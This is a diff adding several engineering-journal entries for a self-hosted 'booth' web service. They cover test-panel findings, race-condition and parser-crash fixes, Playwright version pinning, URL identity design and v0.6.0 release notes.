**The answer is: Chromium re-resolves it, so the fix is unnecessary there.**
|
||||
The fix shipped anyway. **Sensitivity floor: ONE ENGINE.** The operator's own
|
||||
browser was not measured, the failure mode is a form that looks filled in and
|
||||
POSTs a 400, and the guard is three lines. The measurement says "not needed
|
||||
here"; it does not say "not needed".
|
||||
|
||||
## The foot-gun, which bit before the tests were written
|
||||
|
||||
Browsers are **box-wide** in `/opt/ms-playwright` with
|
||||
`PLAYWRIGHT_BROWSERS_PATH` wired globally — there is no per-project
|
||||
`playwright install`. Each playwright release pins **one** Chromium revision, and
|
||||
a release wanting a revision the shared store lacks dies with:
|
||||
|
||||
Executable doesn't exist at /opt/ms-playwright/chromium_headless_shell-1243/…
|
||||
|
||||
That is not a missing-dependency error and it does not name the real problem.
|
||||
The store had 1223 / 1228 / 1234; `playwright` 1.63 wanted 1243. The mapping:
|
||||
|
||||
1.60 -> 1223 1.61 -> 1228 1.62 -> 1234 1.63 -> 1243
|
||||
|
||||
Hence `playwright>=1.60,<1.63` in `pyproject.toml`, **with the upper bound as the
|
||||
point** and the reason in a comment beside it. A bare `playwright` would break
|
||||
the suite on the next resolve, opaquely.
|
||||
|
||||
## The hermeticity trade, and how it is paid
|
||||
|
||||
A browser layer makes the suite non-hermetic — it can go red for an environment
|
||||
reason. `tests/test_embed_browser.py` therefore **skips, never fails**, when
|
||||
playwright or a usable browser is missing (`pytest.importorskip`, plus a
|
||||
`pytest.skip` on any launch failure). `pytest -q` stays green anywhere; the
|
||||
browser layer is purely additive.
|
||||
|
||||
⚠ **The failure mode of that choice: if those 12 tests start SKIPPING on this
|
||||
box, U3's placement logic is untested and the suite still says green.** If the
|
||||
count drops from 431, check the skip reason before anything else — the pinned
|
||||
bound has probably drifted past the shared store.
|
||||
|
||||
Related: [[2026-09-22-u3-declared-embed-seam-landed]].
|
||||
@@ -0,0 +1,42 @@
|
||||
# The third one-branch template miss — this repo's recurring blind spot
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**All four arms of the U4 code-review panel found the same drift, independently.**
|
||||
That is the strongest convergence either panel has produced here.
|
||||
|
||||
The booth header's sub-line forks on `{% if board %}`, and the U4 lifetime macro
|
||||
had been added only to the `{% else %}`. So **a booth carrying `links.md`
|
||||
rendered a link count and nothing at all about its lifetime** — no countdown, no
|
||||
hold — while INV-4 said the templates have no path that renders neither. The
|
||||
standing board being kept by construction (`booth link` drops `.forever` on
|
||||
first use) is what hid it; a **released** board or a hand-made `links.md` booth
|
||||
is a live non-kept booth on that path, and both are reachable from the UI.
|
||||
|
||||
**This is the third of the same shape in this repo's short history:**
|
||||
|
||||
1. `blurtoggle` — the blur only patched the image/video `<figure>`; inline docs
|
||||
render through their OWN branch and shipped unblurred. Suite green; a live
|
||||
look caught it.
|
||||
2. verbatim chrome — a verbatim booth's own `index.html` is served untouched, so
|
||||
the inline marks panel never renders there. Found by looking at the live
|
||||
service during U4, not by the suite.
|
||||
3. the board branch — this one.
|
||||
|
||||
**The pattern: the suite renders the surface the author was thinking about.**
|
||||
Every one of these was a second branch of a conditional the author had already
|
||||
satisfied once and stopped reading. A cold reader with no idea which branch was
|
||||
"the real one" finds them; the author does not, and neither does a test the
|
||||
author wrote.
|
||||
|
||||
**Practical consequence for this repo.** When a template gains a fact, grep the
|
||||
template for `{% if %}` in the block you edited and render EVERY branch in a
|
||||
test — one test per branch, each rendering only its own surface, or the passing
|
||||
test on branch A will mask the omission on branch B. U4 now has one per surface
|
||||
(index card, booth header, board header, marks page) for exactly this reason.
|
||||
|
||||
Declined, and worth recording: Regin and Kimi both recommended amending INV-4 to
|
||||
carve the board header out, on the grounds that board layout belongs to U7.
|
||||
**Cutting an invariant down to fit an implementation gap is the wrong direction
|
||||
when the fix is one template edit**, and U7 owns navigation and section layout —
|
||||
not whether a header states a lifetime.
|
||||
@@ -0,0 +1,53 @@
|
||||
# Three cold panels on one unit, and what each lens could only see alone
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
U6 ran all three `/heid*` gates plus two in-session passes. **Every one of the
|
||||
five found something the others structurally could not**, which is the
|
||||
strongest evidence this repo has for running them all rather than picking one.
|
||||
|
||||
## The scoreboard
|
||||
|
||||
| gate | when | found |
|
||||
|---|---|---|
|
||||
| **seam review** (in-session, sibling-aware) | before code | **3 real contract defects** — a claim about a sibling test that was false, `resolve_booth` named as a per-row predicate when it RAISES 404, and silence on percent-encoding |
|
||||
| **adversarial self-pass** (in-session) | during | **4 defects** — a FIFO hang, `unquote` leaking control characters, a fail-closed-by-accident guard, a stranded scratch file |
|
||||
| **`/heid-contract-review`** (4 arms) | parallel | **the import/apply selection gap, 4-of-4** — plus per-field cap semantics, and two passages of the document contradicting each other |
|
||||
| **`/heid-code-review`** (4 arms) | parallel | **3 surface-drift findings 4-of-4**, an IPv6 identity bug, and **a falsifier that could not fail** |
|
||||
| **`/heid-bug-hunt`** (4 arms) | parallel | a `<div>` inside a `<span>`, a symlink disagreement, an append outside its lock |
|
||||
|
||||
## The three findings worth remembering
|
||||
|
||||
**1. The highest-value finding was a MISSING FEATURE, and the paraphrase lens
|
||||
found it.** `bench import --apply` registered every candidate while the same
|
||||
contract said ~14 of 35 were bookmarks that must stay on the board. The dry-run
|
||||
report existed *because* the decision is not mechanizable — and then `--apply`
|
||||
ignored it. A code-vs-contract lens cannot see this: the code matched the
|
||||
contract. Only reading the contract *as prose*, for what it promises a human,
|
||||
surfaces "these two sentences cannot both be satisfied."
|
||||
|
||||
**2. A falsifier that could not fail, again.** INV-4's tie-break test went
|
||||
through the registry, and `_write_all` serializes with `sort_keys=True` — so
|
||||
both insertion orders came back off disk already id-sorted, and removing the
|
||||
tie-break left the test green. Same class as the five vacuous U4 falsifiers.
|
||||
**We ran a vacuity pass and still shipped one**; a cold reader caught it. See
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
|
||||
**3. The single sharpest line came from a cross-module memory no new-module
|
||||
review could have.** Three bug-hunt arms independently noted that **this repo
|
||||
had already paid for the `RecursionError` class in `marks.py`, with a test
|
||||
documenting it — and the new module re-introduced the unguarded parse.** No
|
||||
amount of reading `benches.py` in isolation surfaces that.
|
||||
|
||||
## Complementarity, measured in both directions on one diff
|
||||
|
||||
The bug-hunt panel found **three live defects the in-session pass missed** — all
|
||||
three invisible to any test (a layout nesting, a symlink disagreement, a
|
||||
lock-ordering race). The in-session pass had **already closed three of that
|
||||
panel's four convergent findings** before the reply landed. Neither substitutes
|
||||
for the other, and this round is the cleanest specimen of it so far.
|
||||
|
||||
**One finding was declined**, with reasoning recorded in the contract: on a host
|
||||
where `booth.links` cannot be imported, `booth link` now refuses every URL
|
||||
rather than only booth ones. A guard that fails open is not a guard, and that
|
||||
state is a broken install where most of the CLI is equally broken.
|
||||
@@ -0,0 +1,35 @@
|
||||
# Two reads of one file are not one read of one state
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The one finding across both U4 panels that changed code rather than prose,
|
||||
and it came from Hulda (Codex) on the CONTRACT-paraphrase round — before any
|
||||
code existed.**
|
||||
|
||||
The contract specified the hold check as:
|
||||
|
||||
is_held(marks_for(child), read_error(child))
|
||||
|
||||
Two reads of `.marks.json`, presented as one answer. They are not. A write or a
|
||||
repair landing between them yields a pair that described the booth at **no
|
||||
instant**, and the losing pair is `([], None)` — no marks, no error — which is
|
||||
**exactly the pair that deletes**. A lenient reader plus a strict reader, each
|
||||
correct on its own, compose into a fail-open delete.
|
||||
|
||||
The fix is `booth.marks.hold_read(booth) -> (marks, error)`: ONE strict read
|
||||
answering both questions. `sweep_once` now does one read per booth per tick
|
||||
instead of two. And because `_read_raw_strict` **raises rather than dropping an
|
||||
entry**, a non-raising strict read returns exactly what the lenient read would —
|
||||
so the index uses that same one read for its badge too and falls back to
|
||||
`marks_for` only on the error path, where leniency is the point. Better than the
|
||||
original in both correctness and cost.
|
||||
|
||||
**The generalisable class, in heid's words: a two-read seam presented as one
|
||||
answer is a TOCTOU race even when nothing on the page looks concurrent.** Worth
|
||||
looking for anywhere two reader functions with different strictness feed one
|
||||
decision — especially when that decision ends in `rmtree`.
|
||||
|
||||
Related: `[[2026-09-21-marks-write-wiped-judgment]]` is the same
|
||||
reads-lenient/writes-strict asymmetry; U4 extends it to the reaper with
|
||||
"deletes strict", whose scope is **the sweeper only** — a hand delete is never
|
||||
strict, which is what gives an unreadable-marks hold an exit at all.
|
||||
@@ -0,0 +1,19 @@
|
||||
# The U2 bug-hunt panel was not ceremony
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The U2 bug-hunt panel landed and it was not ceremony —
|
||||
`v0.2.2`.** Nine adopted findings across four arms; eight were real against
|
||||
live code and one was already fixed. The headline was **4/4 convergent from
|
||||
four different angles**: `_Locked.__exit__` unlinked `.marks.lock` on the no-op
|
||||
path, and `flock` binds to an INODE — so a writer blocked on the old inode
|
||||
proceeds while the next writer creates a fresh lock file and takes it at once.
|
||||
Two processes then run the read-modify-write concurrently and the later
|
||||
`os.replace` drops a mark, with both of them obeying the protocol. **The
|
||||
cleanup existed to protect the booth's TTL and it was failing at that too**:
|
||||
creating and removing a directory entry bumps the DIRECTORY's mtime, which is
|
||||
what `_newest_mtime` actually seeds from, so a no-op reset the clock it was
|
||||
written to leave alone. Same code region, two defects, one fix — never unlink
|
||||
the lock, exempt `.<name>.lock` dotfiles from `_newest_mtime`, and put the
|
||||
directory's mtime back after creating one. Full triage in
|
||||
`persistent-memory.d/2026-09-22-bug-hunt-panel.md`.
|
||||
@@ -0,0 +1,88 @@
|
||||
# U3 landed — the page declares the seam, the Booth mounts into it
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Ten regular expressions against author-written HTML are gone.** Six in
|
||||
`wrap_verbatim_html` hunting for somewhere to hang a favicon and a chip, four in
|
||||
`booth/inline.py` substituting rendered ask markup into the author's own tags.
|
||||
What replaced them, in full:
|
||||
|
||||
```python
|
||||
return html if declares_embed(html) else html + EMBED_SCRIPT_TAG
|
||||
```
|
||||
|
||||
A substring test and a `+`. **Both of the old wrapper's hard constraints stopped
|
||||
existing rather than being satisfied more carefully** — nothing can displace a
|
||||
leading doctype into quirks mode and nothing can push the charset `<meta>` out
|
||||
of its first-1024-byte window, because nothing in front of them ever moves.
|
||||
|
||||
## What moved where
|
||||
|
||||
| was | is |
|
||||
|---|---|
|
||||
| `wrap_verbatim_html` + 6 regexes | `embed_verbatim` — one `in`, one `+` |
|
||||
| `booth/inline.py`, 119 lines | deleted; `form_id` survived into `app.py` |
|
||||
| `_BACK_CHIP`, `asks_chip` | built in the DOM by `embed.js` |
|
||||
| `inject_asks` | `GET /b/<name>/embed.json` + placement in `embed.js` |
|
||||
| `_ask_inline.html`'s `styles()` | the CSS lives in `embed.js` |
|
||||
| `FAVICON_LINK` string injection | `document.querySelector('link[rel~="icon"]')` |
|
||||
|
||||
**The fragments are still rendered by Jinja.** `embed.js` places what comes back
|
||||
and never builds one — a second renderer in JavaScript would be the same bug
|
||||
INV-1 exists to stop, in a new language. The payload also decides openness
|
||||
(`open_marks`) and order, so the page has no opinion about either.
|
||||
|
||||
## The thing the contract got wrong, and the seam review caught
|
||||
|
||||
The payload first keyed `questions` by question key. **A single-question pick
|
||||
normalizes to `questions: [{"key": None, …}]`** (`asks.normalize_ask`, the
|
||||
`multi: False` branch), and `json.dumps` writes that key as the string `"null"`
|
||||
— inventing a name that collides with a real key. Every one-question ask in the
|
||||
fleet would have hit it, including the live `sindra-voice-1`. `questions` is a
|
||||
LIST of `{key, html}` now; the key is nullable, and declaration order rides in
|
||||
the format instead of leaning on object-key insertion order.
|
||||
|
||||
The cold contract panel could not have found this: it is a fact about
|
||||
`booth/asks.py`, which an artifact-only reader never sees. Third time the seam
|
||||
review has caught what the cold pass structurally cannot — see
|
||||
[[2026-09-21-two-gates-are-complementary]].
|
||||
|
||||
## The live report that was already subtly broken
|
||||
|
||||
`dfa-concepts/index.html` writes `<div class="ask" data-booth-ask="dfa:logo">
|
||||
<h3>The one asset that must survive</h3>`. `_EL_RE` matched the **opening tag**
|
||||
and replaced it, so the author's `.ask` wrapper class vanished, the heading was
|
||||
orphaned and the `</div>` went stray. Nobody filed a bug, because a page that is
|
||||
95% right does not look broken.
|
||||
|
||||
`el.insertAdjacentHTML("beforeend", frag)` keeps the element and its contents
|
||||
and puts the fragment inside. Verified live in a real browser: 5 author `.ask`
|
||||
wrappers intact, 5 headings intact, 14 radios mounted inside them, zero console
|
||||
errors. **The replacement is not just less fragile, it renders the operator's
|
||||
own report more faithfully than the thing it replaced.**
|
||||
|
||||
## The cost, stated because it is real
|
||||
|
||||
The verbatim path used to work with **no JavaScript** — server-rendered ask, plain
|
||||
form POST, HTML5 `form=` binding resolved at parse time. It needs the script now.
|
||||
The operator's 2026-09-21 ruling accepts that; this entry records the consequence
|
||||
so nobody meets it as a surprise. The never-invisible guarantee survives in a
|
||||
weaker and still-true form through surfaces needing no script: the index card's
|
||||
open-mark badge, and `/b/<name>/marks`.
|
||||
|
||||
## Anchor syntax
|
||||
|
||||
`data-booth-mark` is canonical (U2 made an ask one shape of mark).
|
||||
`data-booth-ask` is a kept alias — 2 of the 4 live verbatim booths spell it that
|
||||
way, in the operator's own reports, and the alias is one clause in one selector
|
||||
string. The `<!-- booth:ask … -->` comment forms were **dropped, not ported**:
|
||||
zero users across all 21 live booths, and a page that used one falls back to the
|
||||
append path, so its ask still renders.
|
||||
|
||||
## Verification
|
||||
|
||||
431 tests (410 → 431). Live: all 21 booths 200, and each of the four verbatim
|
||||
booths grew by exactly 46 bytes — `len(EMBED_SCRIPT_TAG)`, one append, nothing
|
||||
else. Related: [[2026-09-22-the-browser-became-a-test-surface]],
|
||||
[[2026-09-22-seven-of-seven-falsifiers]],
|
||||
[[2026-09-21-regex-injecting-chrome]].
|
||||
@@ -0,0 +1,50 @@
|
||||
# U4 landed — lifetime is derived, not declared
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**A booth's lifetime stopped being a boolean somebody remembered to press.**
|
||||
Three states now, and `sweep_once` is the only thing that honours the first two:
|
||||
|
||||
KEPT `.forever` present never swept (unchanged)
|
||||
HELD an open pick, or marks we cannot read never swept (new)
|
||||
EPHEMERAL everything else 24h (unchanged)
|
||||
|
||||
Plus **viewing is activity**: a deliberately-served response from a booth's own
|
||||
page route writes `.viewed`. That dotfile is not a `.lock` dotfile, so
|
||||
`_newest_mtime` already counts it — **there is no new arithmetic anywhere**.
|
||||
`booth_age_seconds`, `is_expired` and `expires_in` are byte-for-byte what they
|
||||
were. A view is one more thing in the tree, which is the same trick `.booth.json`
|
||||
used in U5.
|
||||
|
||||
**What counts as a view, and why the exclusions matter more than the inclusions.**
|
||||
`/b/<n>/` (gallery, verbatim report, `?download=1` zip), `/b/<n>/view` and
|
||||
`/b/<n>/marks` count. `/b/<n>/marks.json`, asset GETs, `/`, `/healthz` and a
|
||||
zoom URL that 404s do NOT. The marks.json exclusion is load-bearing: **an agent
|
||||
must not be able to hold its own booth open by polling for the answer it is
|
||||
waiting on.** `/b/<n>/asks` is a 308 into `/marks` and records through it — one
|
||||
call, not two.
|
||||
|
||||
Checked because it would have been silent: **nothing in the fleet polls a booth
|
||||
page.** Homepage's `siteMonitor` for the Booth is `/healthz`, which is on the
|
||||
not-a-view list. Had it been pointed at a booth URL, every booth would have
|
||||
become immortal on deploy and nothing would have reported it.
|
||||
|
||||
**The hold is unbounded and that is the point** — unanswered is unfinished. What
|
||||
makes it safe is visibility plus two exits that already existed: the card and
|
||||
every Booth-owned header say `held until answered` where the countdown was, and
|
||||
`booth rm` / the UI x / `DELETE /b/<n>` take a held booth exactly as they take a
|
||||
kept one. **A hold is protection from the timer, never from the operator.**
|
||||
|
||||
**Release is activity, stated rather than accidental.** Releasing a kept board
|
||||
still buys a full TTL — unchanged — but now because `booth_unkeep` calls
|
||||
`record_view`, which is a rule, and no longer because unlinking a file happened
|
||||
to bump a directory's mtime, which is not. The CLI warning against
|
||||
"unkeep and let it expire" stays and stays true.
|
||||
|
||||
⚠ **Running `scripts/layout-probe.py` over booth pages resets every booth's
|
||||
clock**, because a GET of a booth page is a view and the probe is not exempt
|
||||
from its own rule. Harmless, recoverable, and noted in the probe so nobody
|
||||
debugs it later as a sweeper that stopped working.
|
||||
|
||||
Contract: `docs/contracts/u4_derived_lifetime.contract.md`. Both heid panels ran
|
||||
and the bug hunt after them; see the sibling entries.
|
||||
@@ -0,0 +1,23 @@
|
||||
# U5's adoption prediction split in two
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**U5's adoption prediction, SPLIT IN TWO within an hour of
|
||||
landing — and the split is the interesting part.** The baseline was recorded as
|
||||
0 of 26. Fifty minutes after the deploy, `comfy-dev` created `muse-clothed-repro`
|
||||
and it announced itself: `{handle: comfy-dev, why: "", created: ...}`. That peer
|
||||
was told nothing. **The HANDLE propagates for free** — it rides on `booth new`
|
||||
and `booth add`, so every existing CLI caller starts announcing without learning
|
||||
anything, which is the flags-on-existing-verbs decision paying off on day zero.
|
||||
**The WHY does not** — it needs someone to know the flag exists, and this first
|
||||
one is empty.
|
||||
|
||||
So re-measure BOTH on **2026-09-29**, because they answer different questions:
|
||||
|
||||
find ~/booth-data -maxdepth 2 -name .booth.json | wc -l # free
|
||||
grep -l '"why": "[^"]' ~/booth-data/*/.booth.json 2>/dev/null | wc -l # learned
|
||||
|
||||
A high first count and a near-zero second is the predicted shape of "nobody was
|
||||
told", and it is the case the operator's no-announcement decision was designed
|
||||
to be able to see. Do not read the n=1 above as a rate — it is a code-path
|
||||
observation (every CLI caller writes a handle), not a sample.
|
||||
@@ -0,0 +1,21 @@
|
||||
# Two U5 panels, and prose reached a released outage
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Two cross-frontier panels on U5, and a paraphrase panel reached
|
||||
a production outage two modules away.** 3-of-4 flagged the contract's "4 GB"
|
||||
case as letter-compliant but purpose-defeating; the conformance round found that
|
||||
unbounded read live in U5's code; walking it to the sibling found the SAME hole
|
||||
**live in released `v0.2.2`** — `marks._read_raw` catches `(OSError, ValueError,
|
||||
UnicodeDecodeError)` and `json.loads` on deep nesting raises **RecursionError**,
|
||||
which is none of them, so 400 KB of brackets in one booth returned 500 for `/`
|
||||
and `/healthz` across all 26. The v0.2.2 round HAD flagged it and I closed half:
|
||||
**a finding with two call sites is not closed when one is.** The reusable
|
||||
instruction — **walk a conformance finding to the sibling module even when the
|
||||
sibling is out of scope.** Five of ten conformance findings were tests of mine
|
||||
that pass on the regression they exist to catch, three of them asserting an
|
||||
ARTIFACT of the property rather than the property; that is three nights running
|
||||
on the same shape. Two real bugs neither my tests nor I could see: a bare
|
||||
`booth add` wiped the `why` on the one sequence the feature exists for, and
|
||||
`--title` was write-only. Full triage in
|
||||
`persistent-memory.d/2026-09-22-u5-panels.md`.
|
||||
@@ -0,0 +1,102 @@
|
||||
# U5's two cross-frontier panels — full triage
|
||||
|
||||
**Date:** 2026-09-22 · **Paraphrase:** thread `01M340PNVRS21HPASZT38PXQPN` ·
|
||||
**Conformance:** thread `01M341E9XAPZEFBSPK9HPGAM0S` · **Shipped as:** `v0.3.0`
|
||||
|
||||
Two four-arm artifact-only rounds, dispatched ~30 minutes apart and correctly
|
||||
firewalled: the paraphrase ran the **pre-seam-review** capture (073612), the
|
||||
conformance round the **SR-amended** one (074901). Heid diffed the two at
|
||||
intake and said so.
|
||||
|
||||
The conformance round's honest headline is Kimi's: **zero drift in the strict
|
||||
sense — the code is a clause-for-clause implementation of the contract.** Both
|
||||
rounds' weight landed one layer down, in test strength and contract finish.
|
||||
|
||||
## The result worth keeping
|
||||
|
||||
**A paraphrase panel reading nothing but prose reached a production outage two
|
||||
modules away.** 3-of-4 flagged INV-2's "4 GB" case as *letter-compliant but
|
||||
purpose-defeating* — the invariant constrained the RETURN, not the cost, so an
|
||||
unbounded read "recreates the outage in slow motion". The conformance round then
|
||||
found that exact unbounded read live in U5's shipped code. Walking it to the
|
||||
sibling module found the same hole **live in released `v0.2.2`**: `marks.py`'s
|
||||
`_read_raw` catches `(OSError, ValueError, UnicodeDecodeError)`, and
|
||||
`json.loads` on a deeply nested document raises **RecursionError**, which is
|
||||
none of them. A 400 KB file of nothing but brackets in any ONE booth returned
|
||||
500 for `/` and `/healthz` across all 26.
|
||||
|
||||
**The v0.2.2 round had flagged this and I closed half of it.** Kimi's R5(c)
|
||||
named RecursionError explicitly; I adopted "wrap `_hydrate` per-entry" and left
|
||||
the `json.loads` above it unguarded. **A finding with two call sites is not
|
||||
closed when one is.**
|
||||
|
||||
**The reusable instruction: walk a conformance finding to the sibling module
|
||||
even when the sibling is formally out of scope.** Heid captured it as its own
|
||||
lesson.
|
||||
|
||||
## The densest class was tests that could not fail
|
||||
|
||||
Five of ten adopted conformance findings were tests of mine that pass on the
|
||||
regression they exist to catch. Three shared one shape — **asserting an
|
||||
ARTIFACT of the property instead of the property**:
|
||||
|
||||
| test | asserted | should have asserted |
|
||||
|---|---|---|
|
||||
| `test_the_write_is_atomic` | no `*.tmp` survived | the inode changes (`write_text` leaves no temp file either) |
|
||||
| INV-3 preservation | a stamp survived a window shorter than the stamp's own resolution | a stamp from 2019 |
|
||||
| `test_announcing_is_activity` | age via the directory mtime, which the write bumps either way | the file's own mtime, directory clock restored |
|
||||
|
||||
That is the same shape as the marks round's guard-strength finding the night
|
||||
before — **three nights running**. Proposed to heid as a standing
|
||||
"green-tests-prove-nothing" direction for the skill; routed to the operator
|
||||
alongside two other methodology proposals from the same night.
|
||||
|
||||
⚠ **My first replacement for the atomicity test was ALSO vacuous.** It spied on
|
||||
`os.open` to prove the published path was never written directly — which passes
|
||||
trivially, because `Path.write_text` reaches the syscall through `io.open` in C
|
||||
and never touches the Python-level `os.open`. The dead end is recorded in the
|
||||
test's own docstring rather than deleted.
|
||||
|
||||
## Two real bugs the tests were structurally blind to
|
||||
|
||||
**`booth new x --why "…"` then `booth add x out/*.png` erased the why.** Omitted
|
||||
flags meant empty strings; empty strings overwrote. Two arms predicted it *from
|
||||
the contract's wording alone* — "gains a manifest with no `why`" does not
|
||||
distinguish a first write from a re-announce with the flags omitted. Every test
|
||||
written for this module passed `--why` on both calls, so none could see it.
|
||||
Omitted means unchanged now; `--why ""` still clears. The shell carries the
|
||||
distinction by leaving the variable UNSET, not empty.
|
||||
|
||||
**`--title` was write-only** — stored, flag-surfaced, rendered nowhere. 4-of-4,
|
||||
independently top-ranked by every arm of the paraphrase round. It renders on the
|
||||
booth page heading with the directory name kept beside it, because the directory
|
||||
name is the identity the operator navigates by and refers to positionally.
|
||||
|
||||
## Contract-finish, and why it mattered
|
||||
|
||||
**INV-1 contradicted its own falsifiable criterion** (4/4) — "the only place
|
||||
`.booth.json` is opened" versus INV-3's read-back, which forces `write_manifest`
|
||||
to open it. One half was already false of a correct implementation. Restated as
|
||||
*one module knows the filename*, which is true, falsifiable and now tested.
|
||||
|
||||
**INV-5 named two different promises** (3/4) — the repo's atomic-write rule and
|
||||
this unit's render rule. Repo-wide rules are named in words now, never by a bare
|
||||
number that can collide with a local one.
|
||||
|
||||
Regin's meta-observation is the round's methodology keeper and was borne out:
|
||||
**flags cluster where the same rule is re-voiced per signature**, and four of
|
||||
eleven contract edits were reconciling a docstring against a prose section
|
||||
saying the same thing slightly differently. A table-vs-signature consistency
|
||||
pass would beat the format's prose bias.
|
||||
|
||||
## Declined / parked
|
||||
|
||||
- **Custom booth pages skip provenance** (hulda, solo, verified) — settled
|
||||
independently as U3's seam ~20 minutes before the reply landed. Convergence,
|
||||
not an adoption.
|
||||
- **Empty-handle coercion misattributes to the service** — kept, documented. A
|
||||
manifest naming no handle does not read back at all, and an unreadable file is
|
||||
the worse outcome. Unreachable from the CLI.
|
||||
- **`used`-set: `touches` versus SR-1 unreconciled** — the code adds the entry
|
||||
as consistency with the equally-unreachable `UPLOAD_MARKER` entry that
|
||||
predates this unit, and says so rather than claiming it prevents anything.
|
||||
@@ -0,0 +1,67 @@
|
||||
# U6 landed — three surfaces, three jobs, one predicate
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The sixth of seven v1 units. Only U7 is left.** 444 → 555 tests, suite green,
|
||||
deployed and verified live: 23/23 booths 200, and the board renders **156 dead
|
||||
of 221 rows** — the exact count an independent shell measurement produced before
|
||||
a line of code was written, from two different implementations.
|
||||
|
||||
## What shipped
|
||||
|
||||
- **`booth/benches.py`** (new, stdlib-only AND sibling-free): `Bench`,
|
||||
`normalize_bench_url`, lenient `read_benches`, strict `upsert_bench`,
|
||||
`set_bench_state`, `remove_bench`, `order_benches`. Registry at
|
||||
`~/booth-data/.benches.json` — a dotfile at the DATA ROOT, keyed by id, so two
|
||||
rows with one identity are impossible by construction.
|
||||
- **`links.booth_target`** — ONE predicate for "is this a booth URL", consumed
|
||||
by three callers (the CLI refusal, the board's dead marker, `bench import`).
|
||||
Host-agnostic and path-shaped; percent-decodes the name.
|
||||
- **`booth link` refuses a booth URL**, names `booth new --why`, and writes
|
||||
nothing — not even the board directory.
|
||||
- **The board marks dead rows.** Removal stays the operator's two clicks through
|
||||
the bulk control that already existed. Nothing in the unit deletes a row.
|
||||
- **`booth bench add|ls|state|rm|import`**; `import` writes nothing without
|
||||
`--apply` and never touches `links.md`.
|
||||
- `docs/archive/links-2026-09-22.md` — the board archived verbatim into git.
|
||||
|
||||
## The decision that mattered most, and it was measured
|
||||
|
||||
**Identity is the FULL normalized URL, not the origin.** Collapsing the 43
|
||||
non-booth rows by origin gives 19 groups; by full URL, 35. The difference is not
|
||||
duplication — it is **eight distinct gitea repos merged into one**, three
|
||||
unrelated HuggingFace model cards merged into one, and **the two LRPG surfaces
|
||||
on `10.100.10.50:8321`, which are the IA doc's own example of two real benches**,
|
||||
merged into one. Origin identity destroys more than it dedups. Full-URL identity
|
||||
still collapses both cases the doc names (talk 5→1, Peedlar 3→1).
|
||||
|
||||
Query is IN the identity (three ShutterChute rows differ only by `?token=` and
|
||||
are three real links); fragment is OUT; credentials are REFUSED, not stripped.
|
||||
|
||||
## The seam review earned it again — three real contract defects
|
||||
|
||||
Run in-session against the real `.py` files, after the cold panel was dispatched:
|
||||
|
||||
- **SR-1** — the contract claimed `test_stdlib_only` already forbids sibling
|
||||
imports. **It does not**: its failure set is `{r for r in roots if r !=
|
||||
"booth" and ...}`, which exempts `booth` on purpose. Only test_manifest.py has
|
||||
the strict copy. INV-9 would have shipped untested.
|
||||
- **SR-2** — the contract named `resolve_booth` as the dead marker's existence
|
||||
check. That function is a closure inside `create_app` and **raises
|
||||
HTTPException(404)** — per row, one swept booth would 404 the whole board page.
|
||||
- **SR-7** — booth links are emitted through `quote(name, safe="")`, so a
|
||||
predicate comparing the raw segment marks every encoded-name booth dead
|
||||
forever.
|
||||
|
||||
SR-4 and SR-5 were **verified rather than assumed**: both `list_booths` and
|
||||
`sweep_once` skip a child that is not a directory AND one whose name starts with
|
||||
a dot, so the registry is safe from the sweeper by two guards, not one. Had
|
||||
either been absent the design would have eaten its own registry on tick one.
|
||||
|
||||
## How it closed
|
||||
|
||||
All three cold gates came back and were folded in full, with exactly one finding
|
||||
declined. Released as `v0.6.0` — see [[2026-09-22-u6-benches-released]] and
|
||||
[[2026-09-22-three-cold-panels-on-one-unit]]. The tag waited for the gates, per
|
||||
the v0.2.0 lesson, and that sequencing was right: the panels produced ten code
|
||||
fixes after this entry was first written.
|
||||
@@ -0,0 +1,58 @@
|
||||
# U6 released as v0.6.0 — benches, and the number that was two defects
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The sixth of seven v1 units. Only U7 remains.** 444 → 607 tests. Tagged
|
||||
`v0.6.0` (minor, operator-approved). **NOT PUSHED** — push is his call.
|
||||
|
||||
## What shipped
|
||||
|
||||
- **`booth/benches.py`** — stdlib-only AND sibling-free. `Bench`,
|
||||
`normalize_bench_url` (the identity), a lenient `read_benches` on the render
|
||||
path and a strict `_load_strict` on the write path, `mkstemp` + `fsync` +
|
||||
`os.replace` under an flock, and `order_benches` with a stated total order
|
||||
`(state rank, name casefolded, id)`.
|
||||
- **`links.booth_target`** — ONE predicate for "is this a booth URL",
|
||||
host-agnostic, path-shaped, percent-decoding, control-character-rejecting,
|
||||
never raising. Three callers: the CLI refusal, the board's dead marker,
|
||||
`bench import`.
|
||||
- **`booth link` refuses** a booth URL (naming `booth new --why`) and a
|
||||
credentialed one, writing nothing in either case.
|
||||
- **The board marks dead rows** — 161 of 221 live. Removal stays the operator's
|
||||
two clicks through the bulk control that already existed. Nothing deletes.
|
||||
- **`booth bench add|ls|state|rm|import`**. `--apply` REQUIRES the ids.
|
||||
|
||||
## The decision that shaped the unit, and it was measured
|
||||
|
||||
**The design doc's headline "69% rot" was two defects wearing one number**, and
|
||||
splitting them is what made the unit the right size — see
|
||||
[[2026-09-22-one-number-was-two-defects]]. 178 of 221 rows are booth
|
||||
announcements (156 already dead) whose *cause* U5 had already closed; only 8 are
|
||||
the bench re-post the registry fixes. A unit scoped off the unsplit number would
|
||||
have built the registry, declared victory, and left 178 rows rotting.
|
||||
|
||||
**Identity is the FULL normalized URL, not the origin**, and that was measured
|
||||
rather than chosen: origin identity merges eight distinct gitea repositories
|
||||
into one row, three unrelated HuggingFace model cards into one, and the two LRPG
|
||||
surfaces on `10.100.10.50:8321` — *the design doc's own example of two real
|
||||
benches* — into one. It destroys more than it deduplicates.
|
||||
|
||||
**`booth link` is NOT deprecated**, against the design doc's plan. Roughly 14 of
|
||||
the 35 distinct non-booth targets are reference bookmarks (repos, model cards,
|
||||
docs) for which the board is the right and only home. Deprecating it would have
|
||||
evicted a third of its live content. The IA doc is corrected.
|
||||
|
||||
## The gates
|
||||
|
||||
